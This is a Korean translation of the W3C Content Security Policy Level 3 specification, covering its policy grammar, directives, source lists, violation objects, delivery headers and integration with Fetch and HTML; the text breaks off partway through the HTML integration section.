1. 소개
이 섹션은 규범적이지 않습니다.
이 문서는 콘텐츠 보안 정책(Content Security Policy)(CSP)을 정의합니다. CSP는 개발자가 다양한 방식으로 애플리케이션을 잠글 수 있게 하여, 크로스 사이트 스크립팅과 같은 콘텐츠 인젝션 취약점 위험을 완화하고, 애플리케이션의 실행 권한을 줄일 수 있는 도구입니다.
CSP는 콘텐츠 인젝션 취약점에 대한 1차 방어선으로 설계된 것이 아닙니다. 대신 CSP는 심층 방어(defense-in-depth)로 활용되는 것이 가장 좋습니다. 악의적인 인젝션이 끼칠 수 있는 피해를 줄일 수 있지만, 신중한 입력 검증 및 출력 인코딩을 대체할 수 없습니다.
이 문서는 콘텐츠 보안 정책 2단계(Level 2)의 발전형으로, 한편으로는 CSP, HTML, Fetch 간의 상호작용을 더 명확하게 설명하고, 다른 한편으로는 모듈식 확장성을 위한 명확한 연결 고리를 제공합니다. 이상적으로는 새로운 기능을 구축할 수 있는 안정적인 핵심을 형성하는 것이 목표입니다.
1.1. 예시
1.1.1. 실행 제어
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'
1.2. 목표
콘텐츠 보안 정책은 몇 가지 관련된 목적을 달성하는 것을 목표로 합니다:
-
콘텐츠 인젝션 공격의 위험을 완화하기 위해 개발자에게 다음에 대한 세밀한 제어권을 제공합니다.
-
악성 컨텍스트에 리소스가 삽입되어야만 공격이 가능한 경우(예: [TIMING]에서 설명된 "픽셀 퍼펙트" 공격) 위험을 완화하기 위해, 개발자에게 특정 리소스를 삽입할 수 있는 출처(origin)를 세밀하게 제어할 수 있게 합니다.
-
개발자가 애플리케이션의 권한을 낮출 수 있는 정책 프레임워크 제공
-
개발자가 실제 환경에서 취약점이 악용되는 것을 감지할 수 있도록 하는 보고 메커니즘 제공
1.3. 레벨 2와의 차이점
이 문서는 콘텐츠 보안 정책 2단계 명세 [CSP2]의 발전형을 기술합니다. 주요 변경 사항은 다음과 같습니다:
-
명세가 [FETCH] 명세를 바탕으로 처음부터 다시 작성되어, CSP의 요구사항과 제약을 다른 명세(특히 서비스 워커)와 더 쉽게 통합할 수 있게 하였습니다.
-
child-src
모델이 크게 변경되었습니다:-
2단계에서 폐기되었던
frame-src
지시어가 폐기 취소(undeprecated)되었으나, 존재하지 않을 경우 계속해서child-src
에 위임하며(그 역시default-src
로 위임), -
worker-src
지시어가 추가되어, 존재하지 않으면child-src
에, 그 역시script-src
와 최종적으로default-src
에 위임합니다.
-
-
URL 매칭 알고리즘이 이제 보안이 약한(비보안) scheme 및 포트를 보안 버전과 일치하도록 처리합니다. 즉,
http://example.com:80
소스 식(expression)은http://example.com:80
과https://example.com:443
모두와 일치합니다.마찬가지로
'self'
는 이제 페이지의 origin이http
이더라도https:
및wss:
변형과도 일치합니다. -
인라인 스크립트 또는 스타일에서 발생한 위반 보고서에는 이제 차단된 리소스로 "
inline
"이 보고됩니다. 마찬가지로, 차단된eval()
실행에서도 "eval
"이 차단된 리소스로 보고됩니다. -
manifest-src
지시어가 추가되었습니다. -
report-uri
지시어는 새로운report-to
지시어로 대체되어, [REPORTING]을 인프라스트럭처로 사용합니다. -
'strict-dynamic'
소스 식(expression)은 이제 페이지에서 실행되는 스크립트가 파서에 의해 삽입되지 않은(non-"parser-inserted")script
요소를 통해 추가 스크립트를 로드할 수 있게 허용합니다. 상세 내용은 § 8.2 "'strict-dynamic'" 사용에 있습니다. -
'unsafe-hashes'
소스 식(expression)은 이제 이벤트 핸들러, 스타일 속성,javascript:
내비게이션 대상에 대해 해시를 매치할 수 있습니다. 상세 내용은 § 8.3 "'unsafe-hashes'" 사용에서 확인할 수 있습니다. -
소스 식(expression) 매칭은 이제 HTTP(S) scheme이 아닌 모든 scheme의 명시적 존재를 요구하도록 변경되었습니다. 단, 보호 대상 리소스와 동일한 scheme일 때는 예외이며, § 6.7.2.8 url이 origin의 redirect count와 함께 expression과 일치하는지 여부에서 설명합니다.
-
해시 기반 소스 식(expression)은 이제 요청을 트리거하는
script
요소가 현재 정책에 나열된 무결성 메타데이터 집합을 명시한 경우 외부 스크립트를 매치할 수 있습니다. 상세 내용은 § 8.4 해시를 통한 외부 JavaScript 허용에서 확인할 수 있습니다. -
인라인 위반에 대해 생성된 보고서에는 해당 지시어에
'report-sample'
식(expression)이 포함되어 있으면 sample 속성이 포함됩니다.
2. 프레임워크
2.1. 인프라스트럭처
이 문서는 [RFC5234]에 정의된 대로 ABNF 문법을 사용하여 구문을 명세합니다.
또한
#rule
ABNF 확장( RFC9110
5.6.1절 )을 기반으로 하며,
OWS 대신
optional-ascii-whitespace로 대체하는 수정 사항이 있습니다.
즉, 이 문서에서 사용하는 #rule
은 다음과 같이 정의됩니다:
1#element => element *( optional-ascii-whitespace "," optional-ascii-whitespace element )
그리고 n >= 1, m > 1인 경우:
<n>#<m>element => element <n-1>*<m-1>( optional-ascii-whitespace "," optional-ascii-whitespace element )
이 문서는 알고리즘 및 본문에서 사용되는 여러 기본 개념에 대해 [INFRA] 표준을 참조합니다.
다음 정의들은 이 문서의 다른 정의의 가독성을 높이기 위해 사용됩니다.
optional-ascii-whitespace = *( %x09 / %x0A / %x0C / %x0D / %x20 ) required-ascii-whitespace = 1*( %x09 / %x0A / %x0C / %x0D / %x20 ) ; 이 생성 규칙은 ASCII whitespace 정의와 일치하며 INFRA 표준에 따릅니다.
2.2. 정책
정책(policy)은 허용 및
제한되는 동작을 정의하며,
Document
,
WorkerGlobalScope
,
또는
WorkletGlobalScope
에
적용될 수 있습니다.
각 정책에는 지시어 집합(directive set)이 있으며, 적용 시 정책의 의미를 정의하는 순서가 있는 집합의 지시어(directives)로 구성됩니다.
각 정책에는 상태(disposition)가 연결되며, "enforce
" 또는 "report
"
중 하나입니다.
각 정책에는 소스(source)가 연결되며, "header
" 또는 "meta
" 중 하나입니다.
각 정책에는 self-origin이 연결되어 있으며,
이는 origin으로, 'self'
키워드와 매칭할 때 사용됩니다.
참고: 이는 정책을 상속받았으나 로컬 scheme 문서/워커가
불투명 origin을 가지는 경우 'self'
검사를 용이하게 하기 위함입니다.
대부분의 경우 이는 환경 설정 객체(environment settings object)의 origin이 됩니다.
하나의 리소스에 여러 정책(policy)이 적용될 수 있으며, 이들은 리스트(list)로 모아져 CSP 리스트라 불립니다.
CSP 리스트는 헤더로 전달된
Content Security Policy를 포함한다고 하며,
포함된 정책의
source가
"header
"인 경우를 말합니다.
직렬화된 CSP(serialized CSP)는 ASCII 문자열로, 세미콜론으로 구분된 직렬화된 지시어들의 시퀀스로 구성되며, 아래 ABNF 문법을 따릅니다([RFC5234]):
serialized-policy = serialized-directive *( optional-ascii-whitespace ";" [ optional-ascii-whitespace serialized-directive ] )
직렬화된 CSP 리스트(serialized CSP list)는 ASCII 문자열로, 아래 ABNF 문법에 따라 콤마로 구분된 직렬화된 CSP 시퀀스입니다([RFC5234]):
serialized-policy-list = 1#serialized-policy ; '#' 규칙은 RFC 9110 5.6.1절에 정의됨 ; 단, 이 문서 2.1절의 수정사항을 포함함.
2.2.1. 직렬화된 CSP 파싱
직렬화된 CSP를 파싱한다: 바이트 시퀀스(byte sequence) 또는 문자열(string) serialized, source source, disposition disposition이 주어지면, 다음 단계를 실행한다.
이 알고리즘은 Content Security Policy 객체를 반환한다. 만약 serialized를 파싱할 수 없는 경우, 객체의 지시어 집합은 비어 있다.
-
serialized가 바이트 시퀀스(byte sequence)라면, 동형 디코딩(isomorphic decoding) 결과로 serialized를 설정한다.
-
policy를, 빈 지시어 집합, source는 source, disposition은 disposition으로 하는 새로운 policy로 한다.
-
serialized를 U+003B 세미콜론 문자(
;
) 기준으로 strictly splitting한 각각의 token에 대해:-
앞뒤 ASCII whitespace를 제거한다 token에서.
-
directive name을, token에서 ASCII whitespace가 아닌 코드 포인트를 수집(collecting a sequence of code points)한 결과로 한다.
-
directive name을 ASCII 소문자(ascii lowercase)로 변환한다.
참고: 지시어 이름은 대소문자를 구분하지 않으므로
script-SRC 'none'
와ScRiPt-sRc 'none'
은 동일하다. -
policy의 지시어 집합에 지시어 중 name이 directive name인 것이 있으면, continue한다.
참고: 이 경우 사용자 에이전트는 중복 지시어가 무시되었음을 개발자에게 알리는 것이 좋다. 예를 들어 콘솔 경고가 적절할 수 있다.
-
directive value를 token을 ASCII whitespace로 분할한 결과로 한다.
-
directive를, 지시어의 name은 directive name, value는 directive value인 새로운 객체로 한다.
-
-
policy를 반환한다.
2.2.2. response의 콘텐츠 보안 정책 파싱
response의 콘텐츠 보안 정책을 파싱한다는 response response가 주어졌을 때 다음 단계를 실행한다.
이 알고리즘은 리스트(list) 형태의 콘텐츠 보안 정책 객체(Content Security Policy objects)를 반환한다. 정책을 파싱할 수 없는 경우, 반환된 리스트는 비어 있다.
-
policies를 빈 리스트로 한다.
-
각각의 token에 대해, extracting header list values를
Content-Security-Policy
와 response의 header list에 대해 실행하여 얻는다:-
policy를, 파싱 token, source는 "
header
", disposition은 "enforce
"로 한다. -
policy의 지시어 집합이 비어 있지 않다면, policy를 policies에 추가한다.
-
-
각각의 token에 대해, extracting header list values를
Content-Security-Policy-Report-Only
와 response의 header list에 대해 실행하여 얻는다:-
policy를, 파싱 token, source는 "
header
", disposition은 "report
"로 한다. -
policy의 지시어 집합이 비어 있지 않다면, policy를 policies에 추가한다.
-
-
policies의 각각의 policy에 대해:
-
policy의 self-origin을 response의 url의 origin으로 설정한다.
-
-
policies를 반환한다.
참고: response의 콘텐츠 보안 정책을 파싱할 때, 결과 policies에 항목이 하나 이상 포함된다면, 사용자 에이전트는 policies에 플래그를 보관하여 헤더로 전달된 Content Security Policy 포함 여부 알고리즘을 최적화할 수 있다.
2.3. 지시어
각 정책(policy)은 순서가 있는 집합 형태의 지시어(directives)(지시어 집합)을 포함하며, 각 지시어는 특정 동작을 제어한다. 이 문서에서 정의된 지시어들은 § 6 콘텐츠 보안 정책 지시어에서 자세히 설명한다.
각 지시어는 이름(name) / 값(value) 쌍이다. 이름(name)은 비어 있지 않은 문자열(string)이고, 값(value)은 비어 있지 않은 집합(set) 형태의 문자열(string)이다. 값(value)은 비어 있을 수 있다.
직렬화된 지시어(serialized directive)는 ASCII 문자열로, 하나 이상의 공백으로 구분된 토큰으로 구성되며, 아래 ABNF [RFC5234]를 따른다:
serialized-directive = directive-name [ required-ascii-whitespace directive-value ] directive-name = 1*( ALPHA / DIGIT / "-" ) directive-value = *( required-ascii-whitespace / ( %x21-%x2B / %x2D-%x3A / %x3C-%x7E ) ) ; 지시어 값은 공백 및 VCHAR 문자(;"와 "," 제외)를 포함할 수 있음. ; 위 정의의 두 번째 절반은 ";"와 ","(%x3B, %x2C 제외)인 모든 VCHAR 문자(%x21-%x7E)임. ; ALPHA, DIGIT, VCHAR는 RFC 5234 부록 B.1에 정의됨.
지시어에는 여러 연관 알고리즘이 존재한다:
-
사전 요청 검사(pre-request check): request와 policy를 인자로 받아, § 4.1.2 Content Security Policy로 요청 차단 여부에서 실행한다. 별도 명시 없으면 "
Allowed
"를 반환한다. -
사후 요청 검사(post-request check): request, response, policy를 인자로 받아, § 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부에서 실행한다. 별도 명시 없으면 "
Allowed
"를 반환한다. -
인라인 검사(inline check):
Element
, 타입 문자열, policy, 소스 문자열을 인자로 받아 § 4.2.3 Content Security Policy로 요소의 인라인 타입 동작 차단 여부 및 § 4.2.4 Content Security Policy로 내비게이션 요청 타입 차단 여부의javascript:
요청에서 실행한다. 별도 명시 없으면 "Allowed
"를 반환한다. -
초기화(initialization):
Document
또는 global object, policy를 인자로 받아 § 4.2.1 문서의 CSP 초기화 실행 및 § 4.2.6 전역 객체의 CSP 초기화 실행에서 실행한다. 별도 명시 없으면 아무 효과 없이 "Allowed
"를 반환한다. -
내비게이션 전 검사(pre-navigation check): request, 내비게이션 타입 문자열("
form-submission
" 또는 "other
"), policy를 인자로 받아, § 4.2.4 Content Security Policy로 내비게이션 요청 타입 차단 여부에서 실행한다. 별도 명시 없으면 "Allowed
"를 반환한다. -
내비게이션 응답 검사(navigation response check): request, 내비게이션 타입 문자열("
form-submission
" 또는 "other
"), response, navigable, 검사 타입 문자열("source
" 또는 "response
"), policy를 인자로 받아, § 4.2.5 Content Security Policy로 대상의 내비게이션 요청 타입에 대한 응답 차단 여부에서 실행한다. 별도 명시 없으면 "Allowed
"를 반환한다. -
webrtc 사전 연결 검사(webrtc pre-connect check): policy를 인자로 받아, § 4.3.1 global에 대해 RTC 연결 차단 여부에서 실행한다. 별도 명시 없으면 "
Allowed
"를 반환한다.
2.3.1. 소스 리스트
많은 지시어의 값(value)은 소스 리스트(source lists)로, 집합(set) 형태의 문자열(string)로, 가져오거나 삽입/실행할 수 있는 콘텐츠를 식별한다. 각 문자열(string)은 다음 유형의 소스 식(source expression) 중 하나를 나타낸다:
-
'none'
및'self'
와 같은 키워드(각각 아무것도 매치하지 않거나 현재 URL의 origin과 매치) -
https://example.com/path/to/file.js
와 같은 직렬화된 URL(특정 파일과 매치) 또는https://example.com/
(해당 origin의 모든 것과 매치) -
https:
와 같은 scheme(지정된 scheme을 가진 모든 리소스와 매치) -
example.com
과 같은 호스트(해당 호스트의 모든 리소스와 매치, scheme 관계 없음) 또는*.example.com
(서브도메인 및 그 이하 모두 매치) -
'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA'
와 같은 nonce(페이지의 특정 요소와 매치) -
'sha256-abcd...'
와 같은 digest(페이지의 특정 요소와 매치)
직렬화된 소스 리스트(serialized source list)는 ASCII 문자열로, 공백으로 구분된 소스 식(source expressions) 시퀀스로 구성되며, 아래 ABNF 문법([RFC5234])을 따른다:
serialized-source-list = ( source-expression *( required-ascii-whitespace source-expression ) ) / "'none'"
source-expression = scheme-source / host-source / keyword-source
/ nonce-source / hash-source
; Scheme 예시: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"
; Host 예시: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
; scheme는 RFC 3986 3.1절에 정의됨.
host-part = "*" / [ "*." ] 1*host-char *( "." 1*host-char ) [ "." ]
host-char = ALPHA / DIGIT / "-"
port-part = 1*DIGIT / "*"
path-part = path-absolute (";" 또는 "," 제외)
; path-absolute는 RFC 3986 3.3절에 정의됨.
; 키워드 예시:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
/ "'strict-dynamic'" / "'unsafe-hashes'"
/ "'report-sample'" / "'unsafe-allow-redirects'"
/ "'wasm-unsafe-eval'" / "'trusted-types-eval'"
/ "'report-sha256'" / "'report-sha384'"
/ "'report-sha512'"
ISSUE: Bikeshed unsafe-allow-redirects
.
; Nonce 예시: 'nonce-[nonce goes here]'
nonce-source = "'nonce-" base64-value "'"
base64-value = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )
; Digest 예시: 'sha256-[digest goes here]'
hash-source = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"
host-char
생성 규칙은 의도적으로 ASCII 문자만 포함한다. 국제화 도메인 이름은 직렬화된 CSP에 직접 입력할 수 없으며 반드시 Punycode로 인코딩해야 한다([RFC3492]).
예를 들어, üüüüüü.de
도메인은 반드시 xn--tdaaaaaa.de
로 표현해야 한다.
참고: IP 주소도 위 문법에 매치되지만, 실제로 127.0.0.1
만이
소스 식에서 URL과 매치된다(자세한 내용은 § 6.7.2.7 url이 origin의 redirect count와 함께
source list와 매치되는지 확인 참조). IP 주소의 보안 특성은 의심스럽기 때문에, 작성자는 가능하면 호스트명을 사용할 것을 권장한다.
참고: base64-value 문법은 base64와 base64url 인코딩 모두 허용한다. 이 인코딩들은 hash-source 값 처리 시 동등하게 취급된다. 단, nonce는 엄격한 문자열 매치이며, base64-value 문법은 사용 가능한 문자를 제한하고 서버 운영자의 복잡성을 줄이기 위한 것이다(인코딩 등). 하지만 사용자 에이전트는 nonce 값의 실제 값에 관심이 없으며, nonce-source 값에 대해 어떠한 디코딩도 수행하지 않는다.
2.4. 위반
위반(violation)은 정책(policy) 객체 집합에 반하는 동작 또는 리소스를 나타내며, 이는 전역 객체(global object)에 연결된다.
각 위반에는 전역 객체(global object)가 있으며, 위반된 전역 객체를 나타낸다.
각 위반에는 url이 있으며,
이는 전역
객체의 URL
이다.
각 위반에는 상태(status)가 있으며, 이는 해당 전역 객체가 생성된 리소스의 HTTP 상태 코드를 나타내는 0 이상의 정수이다.
각 위반에는 리소스(resource)가 있으며,
값은 null, "inline
", "eval
", "wasm-eval
",
"trusted-types-policy
", "trusted-types-sink
" 또는 URL
이다.
정책을 위반한 리소스를 나타낸다.
참고: 위반의 리소스(resource) 값이 null인 것은 해당 위반이 채워지는 동안에만 허용된다. 위반이 보고되고 리소스가 차단된 URI 획득에 사용될 때는, 위반의 리소스가 URL
또는 허용된 문자열 중 하나로 반드시 채워져 있어야 한다.
각 위반에는 referrer가
있으며,
값은 null 또는 URL
이다.
이는 정책을 위반한 리소스의 referrer를 나타낸다.
각 위반에는 정책(policy)이 있으며, 이는 위반된 정책이다.
각 위반에는 상태(disposition)가 있으며, 이는 위반된 정책의 상태 값이다.
각 위반에는 유효 지시어(effective directive)가 있으며, 이는 위반을 발생시킨 지시어를 나타내는 비어 있지 않은 문자열이다.
각 위반에는 소스 파일(source
file)이 있으며,
값은 null 또는 URL
이다.
각 위반에는 행 번호(line number)가 있으며, 0 이상의 정수이다.
각 위반에는 열 번호(column number)가 있으며, 0 이상의 정수이다.
각 위반에는 요소(element)가 있으며, 값은 null 또는 element이다.
각 위반에는 샘플(sample)이 있으며, 문자열이다. 명시적 기술 없을 경우 빈 문자열이다.
참고: 위반의 샘플(sample)에는 위반을 일으킨 인라인 스크립트, 이벤트 핸들러, 스타일의 앞 40자가 채워진다. 외부 파일로부터 발생한 위반에는 샘플이 포함되지 않는다.
2.4.1. global, policy, directive에 대한 위반 객체 생성
전역 객체(global object) global, 정책(policy) policy, 문자열(string) directive가 주어졌을 때, 다음 알고리즘은 새로운 위반 객체를 생성하고, 초기 데이터를 채운다:
-
violation을, 위반 객체로 하며, 전역 객체(global object)는 global, 정책(policy)은 policy, 유효 지시어(effective directive)는 directive, 리소스(resource)는 null로 한다.
-
사용자 에이전트가 현재 스크립트를 실행 중이며, global에서 소스 파일의 URL, 행 번호, 열 번호를 추출 가능하다면, violation의 소스 파일(source file), 행 번호(line number), 열 번호(column number)를 해당 값으로 설정한다.
이 부분이 어디에 명세되어 있는가? [ECMA262]에서 유용한 부분을 찾지 못했다.
참고: 사용자 에이전트는 소스 파일(source file)이 페이지에서 요청된 URL(리디렉션 이전)임을 보장해야 한다. 불가능하다면, 사용자 에이전트는 의도치 않은 정보 유출 방지를 위해 해당 URL을 origin으로 축약해야 한다.
-
global이
Window
객체라면, violation의 referrer를 global의 document의referrer
로 설정한다. -
violation의 상태(status)를 해당 violation의 전역 객체(global object)와 연결된 리소스의 HTTP 상태 코드로 설정한다.
-
violation을 반환한다.
2.4.2. request, policy에 대한 위반 객체 생성
request request, policy policy가 주어졌을 때, 다음 알고리즘은 새로운 위반 객체를 생성하고 초기 데이터를 채운다:
-
directive를 § 6.8.1 요청에 대한 유효 지시어 획득 을 request에 대해 실행한 결과로 한다.
-
violation을 § 2.4.1 global, policy, directive에 대한 위반 객체 생성을 request의 client의 전역 객체(global object), policy, directive에 대해 실행한 결과로 한다.
-
violation의 리소스(resource)를 request의 url로 설정한다.
참고: request의 url을 사용하며, 현재 url(current url)은 사용하지 않는다. 후자는 리디렉션 대상에 대한 정보를 포함할 수 있는데, 페이지에 노출되어서는 안 된다.
-
violation을 반환한다.
3. 정책 전달
서버는 특정 정책을 리소스 표현에 대해 HTTP 응답 헤더 필드로 선언할 수 있으며, 그 값은 직렬화된 CSP입니다. 이 메커니즘의 자세한 내용은 § 3.1 Content-Security-Policy HTTP 응답 헤더 필드 및 § 3.2 Content-Security-Policy-Report-Only HTTP 응답 헤더 필드에 정의되어 있으며, Fetch 및 HTML과의 통합은 § 4.1 Fetch와의 통합, § 4.2 HTML과의 통합에서 설명합니다.
정책은 HTML 문서 내에서
meta
요소의
http-equiv
속성을 통해 인라인으로 선언될 수도 있습니다. 이 방법은 § 3.3 <meta> 요소에서 설명합니다.
3.1.
Content-Security-Policy
HTTP 응답 헤더 필드
Content-Security-Policy
HTTP 응답 헤더 필드는 서버가 클라이언트에 정책을 전달하는 권장 메커니즘입니다. 헤더의 값은 다음 ABNF [RFC5234]로 표현됩니다:
Content-Security-Policy = 1#serialized-policy ; '#' 규칙은 RFC 9110 5.6.1절에 정의됨 ; 단, 본 문서 2.1절의 수정사항을 포함함.
Content-Security-Policy: script-src 'self'; report-to csp-reporting-endpoint
서버는 동일한 리소스의 여러 표현에 대해 서로 다른
Content-Security-Policy
헤더 값을 보낼 수 있습니다.
사용자 에이전트가 Content-Security-Policy
헤더 필드를 수신하면, 파싱 및 강제 적용(enforce)을 각 직렬화된 CSP에 대해 수행해야 하며, 이는 § 4.1 Fetch와의 통합, § 4.2 HTML과의 통합에
설명되어 있습니다.
3.2.
Content-Security-Policy-Report-Only
HTTP 응답 헤더 필드
Content-Security-Policy-Report-Only
HTTP 응답 헤더 필드는 웹 개발자가 정책을 시행하지 않고 모니터링만 하면서 실험할 수 있게 해줍니다. 헤더의 값은 다음 ABNF [RFC5234]로 표현됩니다:
Content-Security-Policy-Report-Only = 1#serialized-policy ; '#' 규칙은 RFC 9110 5.6.1절에 정의됨 ; 단, 본 문서 2.1절의 수정사항을 포함함.
이 헤더 필드는 개발자가 보안 정책을 점진적으로 구축할 수 있도록 해줍니다. 사이트의 동작을 예측해 report-only 정책을 배포한 뒤, 위반 보고를 관찰하고, 그 동작에 확신이 생기면 강제 정책으로 전환할 수 있습니다.
Content-Security-Policy-Report-Only: script-src 'self'; report-to csp-reporting-endpoint
서버는 동일한 리소스의 여러 표현에 대해 서로 다른
Content-Security-Policy-Report-Only
헤더 값을 보낼 수 있습니다.
사용자 에이전트가 Content-Security-Policy-Report-Only
헤더 필드를 수신하면, 각 직렬화된 CSP를 파싱하고 모니터링(monitor)해야 하며, 이는 § 4.1 Fetch와의 통합, § 4.2 HTML과의 통합에
설명되어 있습니다.
참고: Content-Security-Policy-Report-Only
헤더는
meta
요소 안에서는 지원되지 않습니다.
3.3.
<meta>
요소
Document
는 하나 이상의 HTML
meta
요소를 통해 정책을 전달할 수 있습니다. 이때
http-equiv
속성이 "Content-Security-Policy
"와 ASCII 대소문자 구분 없이 일치해야 합니다. 예시:
구현 세부 사항은 HTML의 Content Security Policy state
http-equiv
처리 명령([HTML])에서 확인할 수 있습니다.
참고: Content-Security-Policy-Report-Only
헤더는
meta
요소에서는 지원되지 않습니다. report-uri
, frame-ancestors
, sandbox
지시어 역시 지원되지 않습니다.
작성자는 반드시
meta
요소를 문서의 가능한 한 앞부분에 배치하는 것이 좋습니다.
meta
요소의 정책은 그보다 앞서 있는 콘텐츠에는 적용되지 않습니다. 특히 Link
HTTP 응답 헤더 필드로 가져오거나 프리페치된 리소스,
link
,
script
요소로 가져오거나 프리페치된 리소스가
meta
-정책보다
앞에 위치하면 차단되지 않습니다.
참고:
meta
요소로 지정된 정책은 보호되는 리소스에 대해 활성화된 다른 정책과 함께 적용됩니다. 위치와 관계없이 모든 정책이 함께 적용됩니다. 여러 정책을 적용하는 영향은 § 8.1 여러 정책의 영향에서 설명합니다.
4. 통합
이 섹션은 규범적이지 않습니다.
이 문서는 다른 명세에서 기능을 구현하기 위해 사용하는 일련의 알고리즘을 정의합니다. 이러한 통합은 명확성을 위해 여기에 개략적으로 설명되어 있지만, 구체적인 정보는 외부 문서(현행 표준)를 참조해야 합니다.
4.1. Fetch와의 통합
여러 지시어가 다양한 방식으로 리소스 로딩을 제어합니다. 이 명세는 Fetch가 특정 request를 차단하거나 허용할지, 특정 response를 네트워크 오류로 대체할지 결정할 수 있는 알고리즘을 제공합니다.
-
§ 4.1.2 Content Security Policy로 요청 차단 여부는 Main Fetch 알고리즘의 2.4단계에서 호출됩니다. 이를 통해 지시어의 사전 요청 검사가 네트워크에 도달하기 전에 각 request 및 리디렉션 시에도 실행됩니다.
-
§ 4.1.3 Content Security Policy로 요청에 대한 응답 차단 여부는 Main Fetch 알고리즘의 11단계에서 호출됩니다. 이를 통해 지시어의 사후 요청 검사가 네트워크나 서비스 워커에서 전달된 response에 대해 실행됩니다.
4.1.1. request에 대한 Content Security Policy 위반 보고
request request가 주어지면, 이 알고리즘은 policy container의 CSP 리스트의 "report only" 정책을 기반으로 위반을 보고합니다.
-
CSP list를 request의 policy container의 CSP 리스트로 한다.
-
각각의 policy에 대해 CSP list에서:
-
policy의 상태(disposition)가 "
enforce
"이면, 다음 policy로 넘어간다. -
violates를 § 6.7.2.1 요청이 정책을 위반하는지 확인을 request, policy에 대해 실행한 결과로 한다.
-
violates가 "
Does Not Violate
"가 아니면, § 5.5 위반 보고를 § 2.4.2 요청 및 정책에 대한 위반 객체 생성의 결과(request, policy)에 대해 실행한다.
-
4.1.2. request가 Content Security Policy에 의해 차단되어야 하는지 여부
request request가 주어지면, 이 알고리즘은 Blocked
또는
Allowed
를 반환하며, request의 policy container의 CSP 리스트에 기반해 위반을 보고합니다.
-
CSP list를 request의 policy container의 CSP 리스트로 한다.
-
result를 "
Allowed
"로 한다. -
각각의 policy에 대해 CSP list에서:
-
policy의 상태(disposition)가 "
report
"이면, 다음 policy로 넘어간다. -
violates를 § 6.7.2.1 요청이 정책을 위반하는지 확인을 request, policy에 대해 실행한 결과로 한다.
-
violates가 "
Does Not Violate
"가 아니면:-
§ 5.5 위반 보고를 § 2.4.2 요청 및 정책에 대한 위반 객체 생성의 결과(request, policy)에 대해 실행한다.
-
result를 "
Blocked
"로 설정한다.
-
-
-
result를 반환한다.
4.1.3. request에 대한 response가 Content Security Policy에 의해 차단되어야 하는지 여부
response response와 request
request가 주어지면, 이 알고리즘은 Blocked
또는 Allowed
를 반환하며,
request의 policy container의 CSP 리스트에 기반해 위반을 보고합니다.
-
CSP list를 request의 policy container의 CSP 리스트로 한다.
-
result를 "
Allowed
"로 한다. -
각각의 policy에 대해 CSP list에서:
-
각각의 directive에 대해 policy에서:
-
directive의 사후 요청 검사(post-request check) 실행 결과가 "
Blocked
"이면:-
§ 5.5 위반 보고를 § 2.4.2 요청 및 정책에 대한 위반 객체 생성의 결과(request, policy)에 대해 실행한다.
-
policy의 상태(disposition)가 "
enforce
"이면, result를 "Blocked
"로 설정한다.
-
-
참고: 이 체크는 페이지가 해당 응답을 로드할 수 있는지(서비스 워커가 CSP를 위반하는 파일을 대체하지 않았는지) 검증합니다.
-
-
result를 반환한다.
4.1.4. 해시 보고 가능성
response response, request request, directive directive, policy policy가 주어지면 다음 단계를 실행한다:
-
algorithm을 빈 문자열로 한다.
-
directive의 값(value)에 "
'report-sha256'
"가 포함되어 있으면, algorithm을 "sha256"으로 한다. -
directive의 값(value)에 "
'report-sha384'
"가 포함되어 있으면, algorithm을 "sha384"로 한다. -
directive의 값(value)에 "
'report-sha512'
"가 포함되어 있으면, algorithm을 "sha512"로 한다. -
algorithm이 빈 문자열이면, 반환한다.
-
hash를 빈 문자열로 한다.
-
response가 CORS-동일 출처라면:
-
h를 알고리즘을 바이트에 적용을 response의 body, algorithm에 대해 실행한 결과로 한다.
-
hash를 algorithm, U+2D(-), h 순서로 연결한 값으로 한다.
-
-
global을 request의 client의 전역 객체(global object)로 한다.
-
global이
Window
가 아니면, 반환한다. -
stripped document URL을 § 5.4 보고용 URL 변환을 global의 document의 URL에 대해 실행한 결과로 한다.
-
report-to directive를 policy의 지시어 집합에서 "report-to"라는 지시어로 한다.
-
body를 다음 값으로 하는 csp hash report body로 한다: stripped document URL(documentURL), request의 URL(subresourceURL), hash(hash), request의 destination(destination), "subresource"(type).
-
Generate and queue a report를 다음 인자로 실행한다:
- context
-
settings object
- type
-
"csp-hash"
- destination
-
report-to directive의 값(value)
- data
-
body
4.2. HTML과의 통합
-
policy container는 CSP 리스트를 가지며, 해당 컨텍스트에 대해 활성화된 모든 정책(policy) 객체를 보관합니다. 이 리스트는 별도 명시 없을 시 비어 있으며, response의 Content Security Policy를 파싱하거나 policy container의 상속 규칙에 따라 채워집니다.
-
전역 객체(global object)의 CSP 리스트는 § 4.2.2 객체의 CSP 리스트 획득을 해당 전역 객체에 대해 실행한 결과입니다.
-
policy는 강제 적용(enforced) 또는 모니터링(monitored)될 수 있으며, 이는 전역 객체의 CSP 리스트에 삽입함으로써 이루어집니다.
-
§ 4.2.1 문서의 CSP 초기화 실행은 Document 객체 생성 및 초기화 알고리즘 중에 호출됩니다.
-
§ 4.2.3 요소의 인라인 타입 동작이 Content Security Policy에 의해 차단되어야 하는지 여부는 script 요소 준비 및 style 블록 업데이트 알고리즘 중에 호출되어 인라인 스크립트 또는 스타일 블록 실행/렌더링 허용 여부를 결정합니다.
-
§ 4.2.3 요소의 인라인 타입 동작이 Content Security Policy에 의해 차단되어야 하는지 여부는 인라인 이벤트 핸들러(
onclick
등) 및 인라인style
속성 처리 중에도 호출되어 실행/렌더링 허용 여부를 결정합니다. -
policy는 강제 적용되며, 이는
meta
요소의http-equiv
처리 중에 이루어집니다. -
HTML은 각 request의 암호학적 nonce 메타데이터와 파서 메타데이터를 리소스 로딩을 담당하는 요소에서 관련 데이터를 채워 넣습니다.
스타일시트 로딩은 아직 WHATWG HTML의 Fetch와 통합되지 않았습니다. [whatwg/html Issue #968]
-
§ 6.3.1.1 문서에서 base 허용 여부는
base
요소의 frozen base URL 설정 알고리즘 중에 호출되어href
속성 값의 유효성을 보장합니다. -
